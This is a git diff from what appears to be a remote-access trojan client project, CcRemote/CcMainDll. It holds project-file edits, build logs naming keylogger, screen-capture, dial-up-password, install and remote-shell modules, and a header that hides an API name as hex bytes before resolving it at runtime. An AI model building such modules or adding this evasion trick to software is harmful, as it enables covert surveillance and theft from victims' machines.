diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index 70b3d99..8875fa0 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj b/CcMainDll/CcMainDll/CcMainDll.vcxproj index 0c96318..d6ea52e 100644 --- a/CcMainDll/CcMainDll/CcMainDll.vcxproj +++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj @@ -89,16 +89,17 @@ Disabled false WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) - true + false pch.h MultiThreaded + /Zc:stricStrings %(AdditionalOptions) Windows true false - ..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + ..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies) + /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions) @@ -129,9 +130,10 @@ true false WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) - true + false pch.h MultiThreaded + /Zc:stricStrings %(AdditionalOptions) Windows @@ -139,8 +141,8 @@ true true false - ..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies) - /SAFESEH:NO %(AdditionalOptions) + ..\..\common\zlib\zlib.lib;Wininet.lib;Shlwapi.lib;%(AdditionalDependencies) + /SAFESEH:NO /Zc:strictStrings %(AdditionalOptions) @@ -167,29 +169,98 @@ + + + + + + + + + + + + + + + + + + ..\CcMainDll\CcMainDll\pch.h + NotUsing NotUsing NotUsing + + ..\pch.h + NotUsing NotUsing NotUsing + + ..\pch.h + ..\pch.h + + + ..\pch.h + ..\pch.h + NotUsing + NotUsing + /Zc:strictStrings %(AdditionalOptions) + /Zc:strictStrings %(AdditionalOptions) + + + ..\pch.h + + + NotUsing + + + NotUsing + + + ..\pch.h + + + NotUsing + + + ..\pch.h + ..\pch.h + + + ..\pch.h + + + ..\pch.h + ..\pch.h + + + ..\pch.h + NotUsing NotUsing NotUsing NotUsing + + ..\pch.h + + + ..\pch.h + Create diff --git a/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters b/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters index e83915b..35d4f82 100644 --- a/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters +++ b/CcMainDll/CcMainDll/CcMainDll.vcxproj.filters @@ -30,6 +30,54 @@ 头文件 + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + @@ -47,5 +95,50 @@ 源文件 + + 头文件 + + + 源文件 + + + 源文件 + + + 头文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + \ No newline at end of file diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log deleted file mode 100644 index 5664370..0000000 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log +++ /dev/null @@ -1,17 +0,0 @@ -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj -f:\myapp\ccremote\ccmaindll\debug\ccmaindll.ilk -f:\myapp\ccremote\ccmaindll\debug\ccmaindll.dll -f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index 4cb6006..0d90e97 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -1,22 +1,35 @@ - pch.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + pch.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” ClientSocket.cpp -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配 Buffer.cpp until.cpp -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 - d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 - d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 正在生成代码... +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + KernelManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(158): fatal error C1010: 在查找预编译头时遇到意外的文件结尾。是否忘记了向源中添加“#include "pch.h"”? dllmain.cpp - CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(24): warning C4326: “main”的返回类型应为“int”而非“DWORD” +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(65): error C2065: “NOT_CONNECT”: 未声明的标识符 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(69): error C2065: “NOT_CONNECT”: 未声明的标识符 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(69): error C2065: “HEARTBEATTIMEOUT_ERROR”: 未声明的标识符 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(100): error C2065: “CONNECT_ERROR”: 未声明的标识符 + 正在生成代码... diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate index bd1e4f2..03e57a1 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|F:\myapp\CcRemote\CcMainDll\| +Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\| diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/unsuccessfulbuild b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/unsuccessfulbuild new file mode 100644 index 0000000..e69de29 diff --git a/CcMainDll/CcMainDll/DynamicAPI.h b/CcMainDll/CcMainDll/DynamicAPI.h new file mode 100644 index 0000000..8911e33 --- /dev/null +++ b/CcMainDll/CcMainDll/DynamicAPI.h @@ -0,0 +1,29 @@ +/* +typedef BOOL (WINAPI *CloseWindowT)(IN HWND hWnd); + +class DynamicAPI +{ +public: + CloseWindowT pCloseWindowT; + void init_user32(){ + pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow"); + } +}; +*/ + +typedef BOOL (WINAPI* CloseWindowT)(IN HWND hWnd); + +class DynamicAPI +{ +public: + CloseWindowT pCloseWindowT; + void init_user32() + { + //char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,0}; + //pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp); + char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0}; + //pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow"); + pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp); + } + +}; diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log index 8608f75..aba0051 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log @@ -1,18 +1,28 @@ -f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb -f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch -f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb -f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj -f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj -f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll -f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog -f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audio.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditex.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videomanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videocap.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenspy.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\manager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\install.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dialupass.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\filemanager.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog +g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log index 7e60944..44009dc 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.log @@ -1,24 +1,103 @@ - pch.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + pch.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + Audio.cpp +g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配 +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” ClientSocket.cpp -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配 Buffer.cpp + KernelManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配 + KeyboardManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配 + RegEditEx.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(8): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(99): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(113): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(140): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 until.cpp -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 - d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 - d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + AudioManager.cpp + Dialupass.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决 + g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 + install.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 + Manager.cpp + ScreenManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义 + g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义 + ScreenSpy.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配 + ShellManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 + SystemManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配 + VideoCap.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量 + VideoManager.cpp +cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings” + FileManager.cpp +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 